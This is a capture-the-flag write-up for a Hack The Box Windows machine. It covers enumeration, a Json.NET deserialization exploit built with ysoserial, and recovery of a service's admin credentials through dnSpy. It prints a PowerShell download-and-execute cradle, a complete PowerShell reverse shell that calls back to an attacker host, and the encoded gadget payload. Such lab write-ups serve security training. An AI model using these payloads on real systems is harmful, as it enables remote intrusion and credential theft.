Doctor is a medium Windows box. It’s all about Deserialization and Reversing
ENUMERATION
NMAP
Let’s start NMAP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Nmap scan report for 10.10.10.158
Host is up (0.038s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
80/tcp open http Microsoft IIS httpd 8.5
| http-methods:
| Supported Methods: GET HEAD OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn?
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port139-TCP:V=7.91%I=7%D=2/2%Time=60192B10%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,5,"\x83\0\0\x01\x8f");
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
| nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:9a:4e (VMware)
| Names:
| JSON<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
|_ JSON<20> Flags: <unique><active>
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-02-02T14:36:58
|_ start_date: 2021-02-01T23:13:44
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any
Intersting ports are 21 ,80 and SMB on 139+445. There was nothing found using ftp anonymous login or checking SMB with SMBMAP/SMBCLIENT so let’s concentrate on WebServer. (i always run nikto -h and gobuster dir commands, but if nothing special was found i don’t paste that in here.)
WebServer (Manual enum)
Page loads very slow but in the end it redirects us to login:
Credentials admin:admin work (placeholder is misleading ;-) )
Two things happen then. If you pay attention to requests being issued, one of them will be sent to /api/Account. Otherwise lets call gobuster for the rescue (either search in folders or recursive)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
luka@kali:~$ gobuster dir -u http://10.10.10.158/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
-t 50 -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.158/api/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/02/02 11:34:17 Starting gobuster
===============================================================
/account (Status: 401)
/Account (Status: 401)
Checking request to /api/Account shows that there are two identical headers being sent which is weird. Bearer header is pretty much the same but it seems more specific to DotNet i assume: https://swagger.io/docs/specification/authentication/bearer-authentication/
EXPLOITATION
JSON Deserialization
If we modify the Bearer header (i did decode from b64, add {} and encode again to b64) we should get an error.
Error stats that it cannot deserialize Json.Net - so there we have it. We are dealing with serialization and DotNet
From here on i switched to my Windows VM from kali. Following will be used as payload (encoded to b64 with Windows). It is just download reverse shell to memory and execute - nothing wild.
1
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("iex(New-Object Net.Webclient).DownloadString('http://10.10.14.10/rev.ps1');rev.ps1;"))
This is reverse shell that will be used:
1
2
luka@kali:~/htb/json$ cat rev.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.10",4455);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Output will be put in the ysoserial.exe with ObjectDataProvider gadget.
1
2
PS C:\tools_old\ysoserial\Release> .\ysoserial.exe -g ObjectDataProvider -f json.net -c "powershell -ep bypass -encoded aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADEAMAAvAHIAZQB2AC4AcABzADEAJwApADsAcgBlAHYALgBwAHMAMQA7AA==" -o base64
ew0KICAgICckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywgDQogICAgJ01ldGhvZE5hbWUnOidTdGFydCcsDQogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsNCiAgICAgICAgJyR0eXBlJzonU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5JywNCiAgICAgICAgJyR2YWx1ZXMnOlsnY21kJywgJy9jIHBvd2Vyc2hlbGwgLWVwIGJ5cGFzcyAtZW5jb2RlZCBhUUJsQUhnQUtBQk9BR1VBZHdBdEFFOEFZZ0JxQUdVQVl3QjBBQ0FBVGdCbEFIUUFMZ0JYQUdVQVlnQmpBR3dBYVFCbEFHNEFkQUFwQUM0QVJBQnZBSGNBYmdCc0FHOEFZUUJrQUZNQWRBQnlBR2tBYmdCbkFDZ0FKd0JvQUhRQWRBQndBRG9BTHdBdkFERUFNQUF1QURFQU1BQXVBREVBTkFBdUFERUFNQUF2QUhJQVpRQjJBQzRBY0FCekFERUFKd0FwQURzQWNnQmxBSFlBTGdCd0FITUFNUUE3QUE9PSddDQogICAgfSwNCiAgICAnT2JqZWN0SW5zdGFuY2UnOnsnJHR5cGUnOidTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSd9DQp9
Before swapping that in Bearer header and sending the request start the nc listener.
1
2
3
luka@kali:~/htb/json$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.158 - - [02/Feb/2021 13:07:52] "GET /rev.ps1 HTTP/1.1" 200 -
Shell was popped or it should pop if YOU are following the steps.
PRIVILEGE ESCALATION
Reversing / debugging
In Program Files there is Sync2Ftp which can be downloaded in order to debug it
Config file is not readable.
Checking the file in dnspy there is a class that encrypt and decrypt input from that config file. I opened the Program class and just modified it to open window box with username and password before ServiceBase will be run.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using System;
using System.ServiceProcess;
using System.Windows.Forms;
using System.Configuration;
namespace SyncLocation
{
// Token: 0x02000005 RID: 5
internal static partial class Program
{
// Token: 0x0600000F RID: 15
private static void Main()
{
string path = ConfigurationManager.AppSettings["destinationFolder"];
string text = ConfigurationManager.AppSettings["sourcefolder"];
string cipherString3 = ConfigurationManager.AppSettings["user"];
string cipherString2 = ConfigurationManager.AppSettings["password"];
string userName = Crypto.Decrypt(cipherString3, true);
string password = Crypto.Decrypt(cipherString2, true);
MessageBox.Show(userName + " " + password);
ServiceBase.Run(new ServiceBase[]
{
new Service1()
});
}
}
}
Username supername and password:
Superadmin belongs to administrators group so there we have it!